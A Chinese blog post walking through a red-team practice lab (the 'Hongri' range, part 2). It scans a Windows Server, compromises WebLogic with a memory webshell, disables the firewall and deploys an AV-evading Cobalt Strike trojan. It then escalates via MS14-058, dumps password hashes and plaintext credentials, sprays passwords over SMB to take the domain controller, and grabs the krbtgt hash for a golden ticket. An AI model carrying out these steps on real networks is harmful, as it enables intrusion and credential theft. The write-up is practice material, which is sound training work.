Trtyr's Blog

红日靶场(二)

字数统计: 2.3k阅读时长: 11 min
2024/01/26

ATT&CK实战系列——红队实战(二)打靶

环境

看视频

渗透测试

目标扫描

服务扫描

目标IP为192.168.111.80。先简单ping一下

无法ping通,对方有防火墙设备。使用不进行主机发现的端口扫描

1
sudo nmap -sTVC -Pn -O 192.168.111.80

得到信息有:

  • 80端口开启
    • 服务:http
    • 服务版本:Microsoft IIS httpd 7.5
  • 135端口开启
    • 服务:msrpc
    • 服务版本:Microsoft Windows RPC
  • 139端口开启
    • 服务:netbios-ssn
    • 服务版本:Microsoft Windows netbios-ssn
  • 445端口开启
    • 服务:microsoft-ds
    • 服务版本:Windows Server 2008 R2 Standard 7601 Service Pack 1 microsoft-ds
  • 1433端口开启
    • 服务:ms-sql-s
    • 服务版本:Microsoft SQL Server 2008 R2 10.50.4000.00; SP2
  • 3389端口开启
    • 存在域:DE1AY
    • 主机名:WEB
    • DNS域名:de1ay.com
  • 7001端口开启
    • 服务:http
    • 服务版本:Oracle WebLogic Server 10.3.6.0 (Servlet 2.5; JSP 2.1; T3 enabled)

对方OS为Windows Server 2008 R2 Standard 7601 Service Pack 1

漏洞测试

先看看有没有漏洞能利用

1
searchsploit Windows Server 2008 R2

得到永恒之蓝漏洞,用MSF试试。结果失败了,感觉是被防火墙拦了。

Web渗透

80端口

先看看80端口

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
┌──(kali㉿kali)-[~]
└─$ curl -v 192.168.111.80:80
* Trying 192.168.111.80:80...
* Connected to 192.168.111.80 (192.168.111.80) port 80
> GET / HTTP/1.1
> Host: 192.168.111.80
> User-Agent: curl/8.5.0
> Accept: */*
>
< HTTP/1.1 200 OK
< Server: Microsoft-IIS/7.5
< X-Powered-By: ASP.NET
< Date: Thu, 25 Jan 2024 06:37:58 GMT
< Content-Length: 0
<
* Connection #0 to host 192.168.111.80 left intact

没东西?试试目录爆破。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
[20:20:21] 403 -  312B  - /%2e%2e//google.com
[20:20:21] 403 - 312B - /.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
[20:20:21] 404 - 1KB - /.ashx
[20:20:21] 404 - 1KB - /.asmx
[20:20:24] 403 - 312B - /\..\..\..\..\..\..\..\..\..\etc\passwd
[20:20:31] 301 - 159B - /aspnet_client -> http://192.168.111.80/aspnet_client/
[20:20:32] 403 - 312B - /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
[20:20:42] 404 - 1KB - /mcx/mcxservice.svc
[20:20:48] 404 - 1KB - /reach/sip.svc
[20:20:49] 404 - 1KB - /service.asmx
[20:20:53] 403 - 2KB - /Trace.axd
[20:20:54] 404 - 1KB - /umbraco/webservices/codeEditorSave.asmx
[20:20:56] 404 - 1KB - /WebResource.axd?d=LER8t9aS
[20:20:56] 404 - 1KB - /webticket/webticketservice.svc

没啥有用的东西

7001端口

看一下内容

试一下目录爆破,得到如下内容

1
2
3
4
5
6
7
8
[20:26:59] 200 -   49B  - /bea_wls_internal/
[20:26:59] 200 - 0B - /bea_wls_deployment_internal/DeploymentService
[20:26:59] 200 - 0B - /bea_wls_internal/HTTPClntRecv
[20:26:59] 200 - 0B - /bea_wls_internal/iiop/ClientRecv
[20:27:02] 200 - 3KB - /console/login/LoginForm.jsp
[20:27:22] 200 - 421B - /uddiexplorer
[20:27:22] 200 - 855B - /uddi/uddilistener
[20:27:28] 200 - 873B - /wls-wsat/CoordinatorPortType

测试后得到:

目录说明
/bea_wls_internal/啥也没有
/bea_wls_deployment_internal/DeploymentService啥也没有
/bea_wls_internal/HTTPClntRecv啥也没有
/bea_wls_internal/iiop/ClientRecv啥也没有
/console/login/LoginForm.jsp登录以使用 WebLogic Server 域
/uddiexplorer/WebLogic UDDI Explorer
/uddi/uddilistenerYour message reached this servlet via HTTP GET.  You must use HTTP POST to send your message.
/wls-wsat/CoordinatorPortTypeWeb Services

得到一个版本信息WebLogic Server 版本: 10.3.6.0

WeblogicTool漏洞利用

使用WeblogicTool扫描

使用内存马注入,我这里用的是冰蝎内存马,用哥斯拉也可以,不过你要是用蚁剑的话,需要对蚁剑的源码进行一下小小的修改,这里图省事儿用的冰蝎

使用冰蝎连接

成功Getshell

跳板机

当前登录用户查看

1
2
C:/Oracle/Middleware/user_projects/domains/base_domain/ >whoami
web\de1ay

当前登录的是de1ay域下的web用户

主机用户发现

1
2
3
4
5
6
7
C:/Oracle/Middleware/user_projects/domains/base_domain/ >net user

\\WEB 的用户帐户

-------------------------------------------------------------------------------
Administrator de1ay Guest
命令成功完成。

存在两个有用的用户

  • de1ay
  • Administrator

当前用户

尝试关闭防火墙

1
2
C:/Oracle/Middleware/user_projects/domains/base_domain/ >netsh advfirewall set  allprofiles state off
确定。

主机任务查看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
C:/Oracle/Middleware/user_projects/domains/base_domain/ >tasklist

映像名称 PID 会话名 会话# 内存使用
========================= ======== ================ =========== ============
System Idle Process 0 Services 0 24 K
System 4 Services 0 368 K
smss.exe 248 Services 0 1,016 K
csrss.exe 332 Services 0 6,108 K
wininit.exe 384 Services 0 4,772 K
csrss.exe 396 Console 1 16,712 K
winlogon.exe 452 Console 1 5,588 K
services.exe 488 Services 0 8,932 K
lsass.exe 500 Services 0 13,596 K
lsm.exe 508 Services 0 5,868 K
svchost.exe 612 Services 0 9,036 K
svchost.exe 680 Services 0 7,544 K
svchost.exe 728 Services 0 12,812 K
svchost.exe 868 Services 0 33,680 K
svchost.exe 904 Services 0 13,528 K
svchost.exe 956 Services 0 10,496 K
ZhuDongFangYu.exe 996 Services 0 20,280 K
svchost.exe 124 Services 0 16,712 K
svchost.exe 1044 Services 0 12,916 K
spoolsv.exe 1152 Services 0 10,688 K
svchost.exe 1224 Services 0 9,168 K
sqlservr.exe 1348 Services 0 83,672 K
SMSvcHost.exe 1368 Services 0 23,916 K
ReportingServicesService. 1488 Services 0 65,168 K
sqlwriter.exe 1824 Services 0 6,256 K
svchost.exe 1856 Services 0 10,328 K
fdlauncher.exe 644 Services 0 3,500 K
svchost.exe 2076 Services 0 7,060 K
svchost.exe 2136 Services 0 5,816 K
fdhost.exe 2228 Services 0 4,852 K
conhost.exe 2240 Services 0 2,520 K
taskhost.exe 2480 Console 1 6,964 K
sppsvc.exe 2576 Services 0 13,020 K
dwm.exe 2772 Console 1 4,864 K
explorer.exe 2784 Console 1 41,040 K
360Tray.exe 1796 Console 1 41,680 K
msdtc.exe 2496 Services 0 7,604 K
cmd.exe 3984 Console 1 3,256 K
conhost.exe 3976 Console 1 4,868 K
java.exe 1336 Console 1 316,416 K
slui.exe 3768 Console 1 7,956 K
cmd.exe 3888 Console 1 3,524 K
conhost.exe 3036 Console 1 2,640 K
tasklist.exe 900 Console 1 5,528 K
WmiPrvSE.exe 3588 Services 0 6,096 K

发现一个数字卫士。

系统信息查看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
C:/Oracle/Middleware/user_projects/domains/base_domain/ >systeminfo

主机名: WEB
OS 名称: Microsoft Windows Server 2008 R2 Standard
OS 版本: 6.1.7601 Service Pack 1 Build 7601
OS 制造商: Microsoft Corporation
OS 配置: 成员服务器
OS 构件类型: Multiprocessor Free
注册的所有人: Windows 用户
注册的组织:
产品 ID: 00477-001-0000421-84103
初始安装日期: 2019/9/8, 19:01:04
系统启动时间: 2024/1/26, 6:49:19
系统制造商: VMware, Inc.
系统型号: VMware Virtual Platform
系统类型: x64-based PC
处理器: 安装了 1 个处理器。
[01]: AMD64 Family 25 Model 80 Stepping 0 AuthenticAMD ~3194 Mhz
BIOS 版本: Phoenix Technologies LTD 6.00, 2020/11/12
Windows 目录: C:\Windows
系统目录: C:\Windows\system32
启动设备: \Device\HarddiskVolume1
系统区域设置: zh-cn;中文(中国)
输入法区域设置: zh-cn;中文(中国)
时区: (UTC+08:00)北京,重庆,香港特别行政区,乌鲁木齐
物理内存总量: 2,047 MB
可用的物理内存: 858 MB
虚拟内存: 最大值: 4,095 MB
虚拟内存: 可用: 2,645 MB
虚拟内存: 使用中: 1,450 MB
页面文件位置: C:\pagefile.sys
域: de1ay.com
登录服务器: 暂缺
修补程序: 安装了 3 个修补程序。
[01]: KB2999226
[02]: KB958488
[03]: KB976902
网卡: 安装了 3 个 NIC。
[01]: Intel(R) PRO/1000 MT Network Connection
连接名: 本地连接
启用 DHCP: 否
IP 地址
[01]: 192.168.111.80
[02]: fe80::d453:e1b7:cb30:15e0
[02]: Intel(R) PRO/1000 MT Network Connection
连接名: 本地连接 2
启用 DHCP: 否
IP 地址
[01]: 10.10.10.80
[02]: fe80::fca3:8e32:bee7:33ea
[03]: Intel(R) PRO/1000 MT Network Connection
连接名: 本地连接 3
启用 DHCP: 是
DHCP 服务器: 192.168.105.254
IP 地址
[01]: 192.168.105.150
[02]: fe80::d543:d2ec:bb7b:3ca

得到IP

  • 外网IP:192.168.111.80
  • 内网IP:10.10.10.80
  • 外网IP:192.168.105.150

是一个64位的系统,只打了三个补丁。

CS木马免杀上线

之前的一个python shellcode反序列化免杀脚本

这里得到了一个经过免杀处理的CS木马。这段是真难受啊,python版本需要用python6的,pyinstaller版本要用5.0.0的,参数为pyinstaller --clean --win-private-assemblies -F '.\exp.py'

可算上线了!

内网渗透

信息收集

已知

  • de1ay域
    • 跳板机
      • 主机名:web\de1ay
      • 外网IP:192.168.111.80
      • 内网IP:10.10.10.80
      • 外网IP:192.168.105.150

跳板机IP信息

1
shell ipconfig /all

得到

  • de1ay域
  • 域名:de1ay.com
    • 跳板机
      • 主机名:WEB
      • 外网IP:192.168.111.80
      • 内网IP:10.10.10.80
      • 外网IP:192.168.105.150
    • 域控
      • 内网IP:10.10.10.10

域内主机查看

1
net view

没出结果

跳板机提权

我们上面知道,这台电脑只打了三个补丁,所以提权的难度不算太大,直接MS14-058提了

跳板机Hash凭据

1
hashdump

得到

1
2
3
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
de1ay:1000:aad3b435b51404eeaad3b435b51404ee:4f95f1c5acfc3b972a1ce2a29ef1f1c5:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

查看一下明文

1
logonpasswords

得到

1
2
3
4
5
6
7
* Username : de1ay
* Domain : WEB
* Password : 1qaz@WSX1

* Username : mssql
* Domain : DE1AY
* Password : 1qaz@WSX

域内主机扫描

1
portscan 10.10.10.0-10.10.10.255 1-1024,3389,5000-6000 arp 1024

得到信息

  • de1ay域
  • 域名:de1ay.com
    • 跳板机(GET)
      • 主机名:WEB
      • 外网IP:192.168.111.80
      • 内网IP:10.10.10.80
      • 外网IP:192.168.105.150
    • 域控
      • 主机名:DC
      • 内网IP:10.10.10.10
      • 开放端口:636、593、464、389、139、135、88、53
    • 域成员
      • 主机名:PC
      • 内网IP:10.10.10.201
      • 开放端口:5357、5040、912、902、139、135

横向移动

SMB横向移动

尝试SMB横向移动,但是,现在我们没有得到域控的账号密码。默认账号是administrator,密码现在知道了两个,1qaz@WSX11qaz@WSX。挨个试碰运气吧

1
2
3
administrator/1qaz@WSX1 --> FAIL
Administrator/1qaz@WSX1 --> FAIL
administrator/1qaz@WSX --> GET

拿到域控,一样的方法拿另一台主机

全部拿到。

权限维持

krbtgt凭证

成功得到域控。在域控下拿一下hash

1
2
3
4
5
6
7
8
9
10
hashdump

Administrator:500:aad3b435b51404eeaad3b435b51404ee:161cff084477fe596a5db81874498a24:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:82dfc71b72a11ef37d663047bc2088fb:::
de1ay:1001:aad3b435b51404eeaad3b435b51404ee:161cff084477fe596a5db81874498a24:::
mssql:2103:aad3b435b51404eeaad3b435b51404ee:161cff084477fe596a5db81874498a24:::
DC$:1002:aad3b435b51404eeaad3b435b51404ee:cd4b6ddafa3aa2e48ec24fdcd2792f47:::
PC$:1105:aad3b435b51404eeaad3b435b51404ee:c6d8097a48060314de8d825cee1b21d3:::
WEB$:1603:aad3b435b51404eeaad3b435b51404ee:4892df9767fd1b8019df9c63109a300d:::

得到krbtgt凭据

SID

1
logonpasswords

拿到SID

1
SID: S-1-5-21-2756371121-2868759905-3853650604-1001

黄金票据

直接远程连接dir域控c盘

1
shell dir \\10.10.10.10\c$

成功。

CATALOG
  1. 1. 环境
  2. 2. 渗透测试
    1. 2.1. 目标扫描
      1. 2.1.1. 服务扫描
      2. 2.1.2. 漏洞测试
    2. 2.2. Web渗透
      1. 2.2.1. 80端口
      2. 2.2.2. 7001端口
        1. 2.2.2.1. WeblogicTool漏洞利用
    3. 2.3. 跳板机
      1. 2.3.1. 当前登录用户查看
      2. 2.3.2. 主机用户发现
      3. 2.3.3. 尝试关闭防火墙
      4. 2.3.4. 主机任务查看
      5. 2.3.5. 系统信息查看
      6. 2.3.6. CS木马免杀上线
    4. 2.4. 内网渗透
      1. 2.4.1. 信息收集
        1. 2.4.1.1. 跳板机IP信息
        2. 2.4.1.2. 域内主机查看
        3. 2.4.1.3. 跳板机提权
        4. 2.4.1.4. 跳板机Hash凭据
        5. 2.4.1.5. 域内主机扫描
      2. 2.4.2. 横向移动
        1. 2.4.2.1. SMB横向移动
    5. 2.5. 权限维持
      1. 2.5.1. krbtgt凭证
      2. 2.5.2. SID
      3. 2.5.3. 黄金票据